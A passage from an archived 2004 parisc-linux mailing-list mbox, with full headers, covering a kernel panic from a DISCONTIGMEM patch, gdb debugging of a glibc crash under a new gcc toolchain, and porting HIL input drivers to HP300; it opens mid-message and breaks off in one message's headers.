     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001110 Not tainted
r00-03  00000000 104b6010 10485ebc 0000137f
r04-07  10000000 0000009c 00010000 f0000000
r08-11  104b8d50 00000001 104f1000 104b6010
r12-15  104b8810 ffffffff 00000000 f0400004
r16-19  f00008c4 f000017c f0000174 0000000f
r20-23  00000001 ffffffff 104f1000 00000034
r24-27  ffffffff 00000001 103cf26c 103af010
r28-31  00000001 00000000 104741c0 101f8484
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10485e60 10485e64
 IIR: 0c601094    ISR: 00000000  IOR: 0000137f
 CPU:        0   CR30: 10474000 CR31: 10478000
 ORIG_R28: 00000002
 IAOQ[0]: free_all_bootmem_core+0x248/0x2d4
 IAOQ[1]: free_all_bootmem_core+0x24c/0x2d4
 RP(r2): free_all_bootmem_core+0x2a4/0x2d4

It's the k2.6.7-pa7 + your patch and c3000-defconfig + CONFIG_DISTCONTIGM=
EM=3Dy?

Joel

-------------------------------------------------------------------------=
--
Tiscali ADSL LIGHT, 19,95 EUR/mois pendant 6 mois, c'est le moment de fai=
re
le pas!
http://reg.tiscali.be/default.asp?lg=3Dfr




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] CONFIG_DISCONTIGMEM, try 2
Date: Wed, 7 Jul 2004 17:24:37 +0200
Lines: 69
Approved: news@gmane.org
Message-ID: <40BD9F05000174EE@ocpmta1.freegates.net>
References: <20040706071459.GA567@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624460 25580 80.91.229.3 (22 Nov 2014 02:47:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:40 +0000 (UTC)
To: "Randolph Chung" <randolph@tausq.org>,
 parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 26257 invoked by uid 65534); 7 Jul 2004 15:25:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx058) with SMTP; 07 Jul 2004 17:25:09 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 475A33BE10; Wed,  7 Jul 2004 09:25:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28130-09; Wed, 7 Jul 2004 09:25:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 91F9B3BDF3; Wed,  7 Jul 2004 09:24:51 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 301003BDEA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jul 2004 09:24:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28130-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Jul 2004 09:24:48 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 2A0BE3BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jul 2004 09:24:48 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 949174946F8; Wed,  7 Jul 2004 09:24:47 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (webmail-benelux.tiscali.be [62.235.14.106])
	by palinux.hppa (Postfix) with ESMTP id 0164D4946AB
	for <parisc-linux@parisc-linux.org>;
	Wed,  7 Jul 2004 09:24:46 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 7 Jul 2004 17:24:37 +0200
In-Reply-To: <20040706071459.GA567@tausq.org>
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24865


hello randolph,

> ok, attached is a 2nd version of the patch, with some of the bugs
> identified by Grant and Joel fixed. All the memory is now identified as=

> available on boot,...

For the n4k with 4Gb of ram that works fine:
patst006:~# cat /proc/meminfo 
MemTotal:      4116168 kB
MemFree:       4053704 kB
Buffers:          3700 kB
Cached:          25084 kB
SwapCached:          0 kB
Active:          23620 kB
Inactive:        15420 kB
HighTotal:           0 kB
HighFree:            0 kB
LowTotal:      4116168 kB
LowFree:       4053704 kB
SwapTotal:      250872 kB
SwapFree:       250872 kB
Dirty:              60 kB
Writeback:           0 kB
Mapped:          19192 kB
Slab:             7840 kB
Committed_AS:    20552 kB
PageTables:       1080 kB
VmallocTotal:   245728 kB
VmallocUsed:       184 kB
VmallocChunk:   245544 kB

#top
top - 15:25:22 up 42 min,  2 users,  load average: 0.08, 0.15, 0.36
Tasks:  55 total,   1 running,  54 sleeping,   0 stopped,   0 zombie
Cpu(s):  1.0% us,  2.3% sy,  0.0% ni, 90.5% id,  0.3% wa,  0.0% hi,  5.9%=

si
Mem:   4116168k total,    62400k used,  4053768k free,     3624k buffers
Swap:   250872k total,        0k used,   250872k free,    25084k cached

And no more any warning to build modules :) :)

Unfortunately still panic on the b2k with only 256Mb of RAM (at exactely
the same place as previously mentioned)
Don't hesitate to let me know what you need more for this pb.

Joel




-------------------------------------------------------------------------=
--
Tiscali ADSL LIGHT, 19,95 EUR/mois pendant 6 mois, c'est le moment de fai=
re
le pas!
http://reg.tiscali.be/default.asp?lg=3Dfr




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20new=20toolchain=20=28binutils=202=2E15=2C=20gcc=203=2E5=2C=20glibc=202=2E3=2E3=29=09progress?=
Date: Wed, 7 Jul 2004 19:02:37 +0200
Lines: 126
Approved: news@gmane.org
Message-ID: <40BD9F05000175F1@ocpmta1.freegates.net>
References: <40E6A00E.8020203@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624460 25584 80.91.229.3 (22 Nov 2014 02:47:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:40 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 8104 invoked by uid 65534); 7 Jul 2004 17:03:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx045) with SMTP; 07 Jul 2004 19:03:46 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CCF293BDEA; Wed,  7 Jul 2004 11:03:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29070-05; Wed, 7 Jul 2004 11:03:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C3EE63BDF2; Wed,  7 Jul 2004 11:03:15 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E05A3BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jul 2004 11:03:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29575-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Jul 2004 11:03:11 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 274E83BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jul 2004 11:03:11 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id A00D34946F8; Wed,  7 Jul 2004 11:03:10 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (webmail-benelux.tiscali.be [62.235.14.106])
	by palinux.hppa (Postfix) with ESMTP id E67364946AB
	for <parisc-linux@parisc-linux.org>;
	Wed,  7 Jul 2004 11:03:09 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 7 Jul 2004 19:02:37 +0200
In-Reply-To: <40E6A00E.8020203@tiscali.be>
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24866

Carlos,

SOme news (but didn't help me :(

> -- Original Message --
> Date: Sat, 03 Jul 2004 12:01:18 +0000
> From: Joel Soete <soete.joel@tiscali.be>
> To: Carlos O'Donell <carlos@baldric.uwo.ca>
> Cc: parisc-linux@parisc-linux.org
> Subject: Re: [parisc-linux] new toolchain (binutils 2.15, gcc 3.5, glib=
c
> 2.3.3)
> 	progress
> 
> 
> 
> 
> Carlos O'Donell wrote:
> >>I can now reproduce what happend during check :)
> >>and the crash occurs now at 0x401f67a8
> >>
> >>and ddd offers me a related dump window:
> >>Dump of assembler code from 0x401f67a8 to 0x401f68a8:
> >>    0x401f67a8:     ldw 0(,r25),r21
> >>    0x401f67ac:     ldo 1115(r20),r20
> > 
> > 
> > Joel, the most important code is what came *before* teh crash insn,
you
> > usually want atleast 16-32 insns before the crash to see what was goi=
ng
> > on, usually I trace back to try find the start of the function.
> > 
> > 
> >>0002c77c <_nl_intern_locale_data>:
> >>   2c77c:       6b c2 3f d9     stw rp,-14(,sp)
> >>   2c780:       6f c6 00 80     stw,ma r6,40(,sp)
> >>   2c784:       08 1a 02 46     copy r26,r6
> >>   2c788:       6b c5 3f 89     stw r5,-3c(,sp)
> >>   2c78c:       08 19 02 45     copy r25,r5
> >>   2c790:       6b c3 3f 99     stw r3,-34(,sp)
> >>   2c794:       08 18 02 43     copy r24,r3
> >>   2c798:       6b c4 3f 91     stw r4,-38(,sp)
> >>   2c79c:       8f 0e 81 d0     cmpib,>>=3D 7,r24,2c88c <_nl_intern_l=
ocale_data+0x110>
> >>   2c7a0:       6b d3 3f c1     stw r19,-20(,sp)
> >>   2c7a4:       22 98 04 00     ldil 20030000,r20
> >>=3D=3D>2c7a8:       0f 20 10 95     ldw 0(,r25),r21
> > 
for a run i got r25=3D=3D0x4004b000

and the corresponding mapping at this moment is:
00010000-00011000 r-xp 00000000 08:0b 142497     /Develop/parisc-linux/bu=
ild/glibc/localedata/tst-leaks
00020000-00021000 rwxp 00000000 08:0b 142497     /Develop/parisc-linux/bu=
ild/glibc/localedata/tst-leaks
40000000-40004000 rw-p 40000000 00:00 0 
4004b000-4004c000 r--p 00000000 08:0b 2632       /Develop/parisc-linux/bu=
ild/glibc/localedata/de_DE.ISO-8859-1/LC_IDENTIFICATION
403eb000-40529000 r-xp 00000000 08:0b 18692      /Develop/parisc-linux/bu=
ild/glibc/libc.so
40529000-40536000 rwxp 0012e000 08:0b 18692      /Develop/parisc-linux/bu=
ild/glibc/libc.so
40536000-40538000 rwxp 40536000 00:00 0 
410bd000-410d4000 r-xp 00000000 08:0b 196300     /Develop/parisc-linux/bu=
ild/glibc/elf/ld.so
410e3000-410e7000 rwxp 00016000 08:0b 196300     /Develop/parisc-linux/bu=
ild/glibc/elf/ld.so
410e7000-41108000 rwxp 410e7000 00:00 0 
bff00000-bff02000 rwxp bff00000 00:00 0 

I try to compare with glibc build with gcc-3.3.4 (that takes me some time=

to remember That I have also to upgrade my kernel to make gdb stop at a
break point :( ) and I got the same matching r25 =3D=3D map address of /D=
evelop/parisc-linux/build/glibc/localedata/de_DE.ISO-8859-1/LC_IDENTIFICA=
TION.
But with gcc-3.3.4 that can continue not with gcc-3.5????

What do I miss?

> > 
> > You are trying to get data from a pointer passed in as the second
> > parameter to the function, you want to see the value of r25 before th=
e
> > load to see if it is valid. In gdb you can print register values or
just
> > use the info command to see all the regs. You can display regs by usi=
ng
> > '$r25' AFAIR, though the format may vary.
> > 
> ah I see
> And btw if I put a break at 0x401f677c (corresponding to line 2c77c: th=
e
> first routine insn), I would also be able to find the 
> address from where it's called (just have to find back the right regist=
er).

umm, at this place 'info reg' gave me (among other stuff :) )
rp             0x404179f3
r31            0x404179d7

(rp=3D=3Dr2 if i well understand)

do you remember what is the right calling adress?

Thanks again,
    Joel


-------------------------------------------------------------------------=
--
Tiscali ADSL LIGHT, 19,95 EUR/mois pendant 6 mois, c'est le moment de fai=
re
le pas!
http://reg.tiscali.be/default.asp?lg=3Dfr




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] missing exports
Date: Sat, 10 Jul 2004 11:09:34 +0200 (MEST)
Lines: 63
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.58.0407101107240.10242@waterleaf.sonytel.be>
References: <200310192126.23242@smurf.noris.de>
	<3F956F6D.9080803@linux-m68k.org>
	<1066936308.3338.16.camel@kars.perseus.home>
	<1066944872.3338.30.camel@kars.perseus.home>
	<Pine.LNX.4.44.0310240032470.17548-100000@serv>
	<1067083687.3876.17.camel@kars.perseus.home>
	<Pine.LNX.4.44.0310251514190.17548-100000@serv>
	<1067091946.3876.42.camel@kars.perseus.home>
	<Pine.LNX.4.44.0310252030410.17548-100000@serv>
	<1067288209.3591.1.camel@kars.perseus.home>
	<1085155984.5069.10.camel@kars.perseus.home>
	<Pine.LNX.4.58.0405230227360.10291@scrub.local>
	<1085347402.3690.1.camel@kars.perseus.home>
	<Pine.GSO.4.58.0405241034430.17985@waterleaf.sonytel.be>
	<1085517198.6880.26.camel@kars.perseus.home>
	<Pine.GSO.4.58.0405261015580.28417@waterleaf.sonytel.be>
	<1085597752.2373.6.camel@kars.perseus.home>
	<1089405759.2674.14.camel@kars.perseus.home>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624460 25588 80.91.229.3 (22 Nov 2014 02:47:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:40 +0000 (UTC)
Cc: Linux/m68k kernel mailing list <linux-m68k@lists.linux-m68k.org>,
 parisc-linux@parisc-linux.org
To: Kars de Jong <jongk@linux-m68k.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 11614 invoked by uid 65534); 10 Jul 2004 09:10:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx044) with SMTP; 10 Jul 2004 11:10:56 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A15483BDFC; Sat, 10 Jul 2004 03:10:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26706-09; Sat, 10 Jul 2004 03:10:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 92FB23BDF7; Sat, 10 Jul 2004 03:09:45 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 642ED3BDF4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Jul 2004 03:09:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 26706-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Jul 2004 03:09:41 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 373B63BDF2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Jul 2004 03:09:41 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id B44A84946B2; Sat, 10 Jul 2004 03:09:40 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from witte.sonytel.be (witte.sonytel.be [80.88.33.193])
	by palinux.hppa (Postfix) with ESMTP id 584064946B1
	for <parisc-linux@parisc-linux.org>;
	Sat, 10 Jul 2004 03:09:39 -0600 (MDT)
Original-Received: from waterleaf.sonytel.be (localhost [127.0.0.1])
	by witte.sonytel.be (8.12.10/8.12.10) with ESMTP id i6A99ZXK005087;
	Sat, 10 Jul 2004 11:09:35 +0200 (MEST)
In-Reply-To: <1089405759.2674.14.camel@kars.perseus.home>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24867

On Fri, 9 Jul 2004, Kars de Jong wrote:
> On Wed, 2004-05-26 at 20:55, Kars de Jong wrote:
> > On Wed, 2004-05-26 at 10:16, Geert Uytterhoeven wrote:
> > > On Tue, 25 May 2004, Kars de Jong wrote:
> > > > the input device layer HIL keyboard driver working, etc... :-(
> > >
> > > Aren't some PARISC people working on that as well?
> >
> > Hmm, yes, apparently there is a PARISC patch for 2.6 which has a port of
> > the HP300 HIL driver to the input device layer.
> >
> > They also have a far more extensive HIL driver which handles the mouse
> > as well, but I'm not sure if the HIL in the later PARISC models is the
> > same as the HIL in the HP300 series on a device driver level. I'd have
> > to study the driver a little better.
>
> I have ported the PARISC HIL stuff to the HP300. Basically only the SDC
> driver needed to be changed a bit, all the rest was generic already.
>
> My kernel crashes if loadkeys is used (which I don't understand yet) but
> otherwise it seems to work a bit. The keyboard and mouse are properly
> detected, but when I read /dev/input/mice I don't get any events.
>
> What should I do with these files? Just add them to our repository, and
> worry about merging with the PARISC people later?

What about posting the patches to the Linux/m68k and Linux/PA-RISC lists?

> Oh, all of these are already present in the m68k-2_4 branch, although
> some of them have moved. How does that work in CVS?

CVS doesn't do move. You have to delete the file in the old place, and add it
at the new place.

> The following files are new for the HIL stuff:
>
> drivers/input/keyboard/hil_kbd.c
> drivers/input/keyboard/hilkbd.c
> drivers/input/misc/hp_sdc_rtc.c
> drivers/input/mouse/hil_ptr.c
> drivers/input/serio/hil_mlc.c
> drivers/input/serio/hp_sdc.c
> drivers/input/serio/hp_sdc_mlc.c
> include/linux/hil.h
> include/linux/hil_mlc.h
> include/linux/hp_sdc.h

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] missing exports
Date: Sat, 10 Jul 2004 14:05:29 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20040710130529.GP5889@parcelfarce.linux.theplanet.co.uk>
References: <1067288209.3591.1.camel@kars.perseus.home> <1085155984.5069.10.camel@kars.perseus.home> <Pine.LNX.4.58.0405230227360.10291@scrub.local> <1085347402.3690.1.camel@kars.perseus.home> <Pine.GSO.4.58.0405241034430.17985@waterleaf.sonytel.be> <1085517198.6880.26.camel@kars.perseus.home> <Pine.GSO.4.58.0405261015580.28417@waterleaf.sonytel.be> <1085597752.2373.6.camel@kars.perseus.home> <1089405759.2674.14.camel@kars.perseus.home> <Pine.GSO.4.58.0407101107240.10242@waterleaf.sonytel.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624461 25591 80.91.229.3 (22 Nov 2014 02:47:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:41 +0000 (UTC)
Cc: Kars de Jong <jongk@linux-m68k.org>,
 Linux/m68k kernel mailing list <linux-m68k@lists.linux-m68k.org>,
 parisc-linux@parisc-linux.org,
 Helge Deller <deller@gmx.de>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <willy@www.linux.org.uk>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25157 invoked by uid 65534); 10 Jul 2004 13:05:37 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (EHLO www.linux.org.uk) (195.92.249.252)
  by mx0.gmx.net (mx042) with SMTP; 10 Jul 2004 15:05:37 +0200
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1BjHXl-0004wt-Pu; Sat, 10 Jul 2004 14:05:29 +0100
Content-Disposition: inline
In-Reply-To: <Pine.GSO.4.58.0407101107240.10242@waterleaf.sonytel.be>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24868

On Sat, Jul 10, 2004 at 11:09:34AM +0200, Geert Uytterhoeven wrote:
> > worry about merging with the PARISC people later?
> 
> What about posting the patches to the Linux/m68k and Linux/PA-RISC lists?

That'd be great.  More shared code!
It's also good incentive for us to get this stuff merged upstream.
Helge, you said you'd take care of this... what's the current status?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain



From - Thu Nov 08 21:36:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] missing exports
Date: Sat, 10 Jul 2004 15:55:18 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <200407101555.18830.deller@gmx.de>
References: <1067288209.3591.1.camel@kars.perseus.home>
	<Pine.GSO.4.58.0407101107240.10242@waterleaf.sonytel.be>
	<20040710130529.GP5889@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624461 25595 80.91.229.3 (22 Nov 2014 02:47:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:41 +0000 (UTC)
Cc: Kars de Jong <jongk@linux-m68k.org>,
 Linux/m68k kernel mailing list <linux-m68k@lists.linux-m68k.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25390 invoked by uid 65534); 10 Jul 2004 13:56:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
